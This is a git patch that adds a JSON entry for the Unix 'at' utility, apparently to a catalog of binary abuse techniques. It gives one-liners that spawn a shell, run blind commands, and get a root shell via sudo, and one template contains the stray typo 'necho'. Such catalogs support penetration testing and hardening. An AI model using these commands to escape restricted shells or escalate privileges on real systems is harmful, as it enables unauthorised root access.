From db2f2fbb06cc517bec1254c0b5dfed4443d34224 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 16 Jan 2021 17:03:59 +0100 Subject: [PATCH] add data source for at --- data/at.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/at.json diff --git a/data/at.json b/data/at.json new file mode 100644 index 0000000..4cbe1f9 --- /dev/null +++ b/data/at.json @@ -0,0 +1,20 @@ +{ + "functions": { + "shell": [ + { + "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n" + } + ], + "command": [ + { + "description": "The invocation will be blind, but it is possible to redirect the output to a file in a readable location.", + "code": "necho \"[command]\" | at now\n" + } + ], + "sudo": [ + { + "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n" + } + ] + } +}